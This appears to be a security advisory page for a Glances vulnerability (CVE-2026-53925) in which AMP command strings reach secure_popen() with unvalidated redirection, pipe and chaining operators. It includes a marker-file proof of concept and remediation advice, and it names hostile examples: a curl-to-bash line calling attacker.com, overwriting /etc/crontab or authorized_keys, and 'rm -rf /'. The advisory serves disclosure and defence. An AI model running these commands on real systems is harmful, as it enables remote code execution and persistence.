GHSA-3vwc-qwhc-3mj7 CVE-2026-53925 PYSEC-2026-2494
Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration
- Severity
- 7.8 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.18%
- Chance of exploitation in the next 30 days. Higher than 8.10% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
4.5.5- Upgrade glances to this version or later
Description
Summary
The secure_popen() function in glances/secure.py interprets > (file redirection), | (pipe), and && (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.
When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via >), chain arbitrary commands (via &&), or pipe command output to arbitrary programs (via |).
Crucially, this vulnerability is not mitigated by the --disable-config-exec flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in config.get_value(); it does not affect the secure_popen() function's interpretation of shell-like operators.
Details
Affected code path 1 — Default AMP (glances/amps/default/__init__.py:69)
res = self.get('command')
# ...
self.set_result(secure_popen(res).rstrip())
The command config value is loaded from [amp_<name>] sections via GlancesAmp.load_config() (glances/amps/amp.py:81):
self.configs[param] = config.get_value(amp_section, param).split(',')
Affected code path 2 — SystemV AMP (glances/amps/systemv/__init__.py:60)
res = secure_popen(self.get('service_cmd'))
The service_cmd config value is loaded from [amp_systemv] sections via the same GlancesAmp.load_config() method.
Sink — secure_popen() (glances/secure.py:33-77)
The function explicitly parses:
>for file redirection (line 39):cmd.split('>')— the path after>is used directly inopen(stdout_redirect, "w")(line 71) with no path validation.|for command piping (line 51):cmd.split('|')— each segment is executed as a separatePopenwith stdout piped to the next.&&for command chaining (line 27 insecure_popen):cmd.split('&&')— each segment is executed sequentially.
None of these operators are sanitized or restricted when loading AMP configuration values.
Why --disable-config-exec does not help:
The --disable-config-exec flag (introduced for CVE-2026-33641) only prevents system_exec() from running backtick-embedded commands in config.get_value(). It does not affect how the resulting string value is processed by secure_popen(). A command value like echo data > /etc/crontab contains no backticks and passes through get_value() unchanged, then secure_popen() interprets the > operator and writes to the arbitrary path.
PoC
Clean-checkout recipe:
- Create a test configuration file:
cat > /tmp/poc-glances.conf << 'EOF'
[amp_poc]
enable=true
regex=.*
refresh=3
command=echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp
[outputs]
cors_origins=*
EOF
- Run a Python script that simulates the AMP command execution path:
import sys
sys.path.insert(0, '/path/to/glances')
from glances.config import Config
from glances.secure import secure_popen
import os
# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)
config = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)
# Read AMP command value (same as amp.py load_config)
command = config.get_value('amp_poc', 'command')
print(f'Command: {command!r}')
# Execute (same as amps/default/__init__.py line 69)
marker = '/tmp/cve-poc-marker-amp'
assert not os.path.exists(marker), 'Clean state required'
result = secure_popen(command)
print(f'Result: {result!r}')
# Verify arbitrary file write occurred
assert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'
with open(marker) as f:
content = f.read()
print(f'Written to {marker}: {content!r}')
assert 'POC_ARBITRARY_FILE_WRITE' in content
# Cleanup
os.remove(marker)
print('CONFIRMED: Arbitrary file write via secure_popen > in AMP command')
Expected vulnerable output:
Command: 'echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp'
Result: 'POC_ARBITRARY_FILE_WRITE\n'
Written to /tmp/cve-poc-marker-amp: 'POC_ARBITRARY_FILE_WRITE\n'
CONFIRMED: Arbitrary file write via secure_popen > in AMP command
Negative/control case (demonstrating --disable-config-exec only blocks backticks):
# This IS blocked by --disable-config-exec:
# command=`rm -rf /` → get_value() skips backtick execution
# This is NOT blocked by --disable-config-exec:
# command=echo data > /etc/crontab → secure_popen writes to /etc/crontab
Cleanup:
rm -f /tmp/poc-glances.conf /tmp/cve-poc-marker-amp
Impact
An attacker who can modify glances.conf (e.g., through a separate file-write vulnerability, a misconfigured shared filesystem, a configuration management system, or a container volume mount) can:
-
Write arbitrary content to arbitrary files via the
>operator — e.g., overwriting/etc/crontab,~/.ssh/authorized_keys, or any file writable by the Glances process user. -
Execute arbitrary commands via the
&&and|operators — e.g.,echo x && curl http://attacker.com/shell.sh | bash. -
Exfiltrate data via the
|operator piping command output to network utilities.
The existing --disable-config-exec mitigation for CVE-2026-33641 does not protect against this vulnerability because it operates at a different layer (config.get_value() backtick processing vs. secure_popen() operator interpretation).
Suggested remediation
-
Remove file redirection support from
secure_popen()unless explicitly required. The>operator in__secure_popen()(lines 39-45, 69-72) writes to arbitrary paths. Consider removing this feature or restricting output paths to a safe directory (e.g., a configured output directory with path traversal protection). -
Sanitize AMP command values before passing them to
secure_popen(). Apply the same sanitization used inactions.py:_sanitize_mustache_dict()to strip&&,|,>>, and>from AMP command and service_cmd config values, or refuse to execute commands containing these operators. -
Consider replacing
secure_popen()withsubprocess.run(shell=False)using explicit argument arrays. Thesecure_popen()function reimplements shell-like operator parsing (&&,|,>) which is inherently risky. Standardsubprocess.run()withshell=Falseand an explicit argument list avoids this class of vulnerability entirely. -
Add a regression test that verifies AMP commands cannot contain file redirection or command chaining operators.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| glances | >= 4.0.8, < 4.5.5 |
4.5.5 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
glances PyPI → 4.5.5
- pip
pip install --upgrade "glances>=4.5.5"- poetry
poetry add "glances>=4.5.5"- uv
uv add "glances>=4.5.5"
Severity breakdown
CVSS 3.1 7.8
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-4h34-v6r8-mmjc Glances: as_dict_secure() Value-Level Bypass Leaks Credentials in URL Values via /api/4/config | Medium | Also affects glances |
| GHSA-59fj-m2j6-hcxh Glances: `--disable-config-exec` does not cover on-alert action commands (incomplete fix of CVE-2026-53925) | High | Also affects glances |
| GHSA-73wf-9vmv-5pv9 Glances: Incomplete fix of CVE-2026-32608: action-template sanitizer is bypassed by nested stat values (process 'cmdline') → OS command injection | High | Also affects glances |
| GHSA-fp27-88fp-2phg Glances: REST API CORS Credentials Guard Uses Exact-Match Instead of Membership Test — Bypassed by Any Multi-Origin Allowlist Containing the Wildcard | Medium | Also affects glances |
| GHSA-qcpp-8x79-hhp3 Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction | High | Also affects glances |
| GHSA-w856-8p3r-p338 Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack | Medium | Also affects glances |
| GHSA-87qc-fj39-wccr Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533) | High | Also affects glances |
| GHSA-9837-48hr-q32j Glances has Insecure Pickle Deserialization in its Version Cache that Leads to Arbitrary Code Execution | High | Also affects glances |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor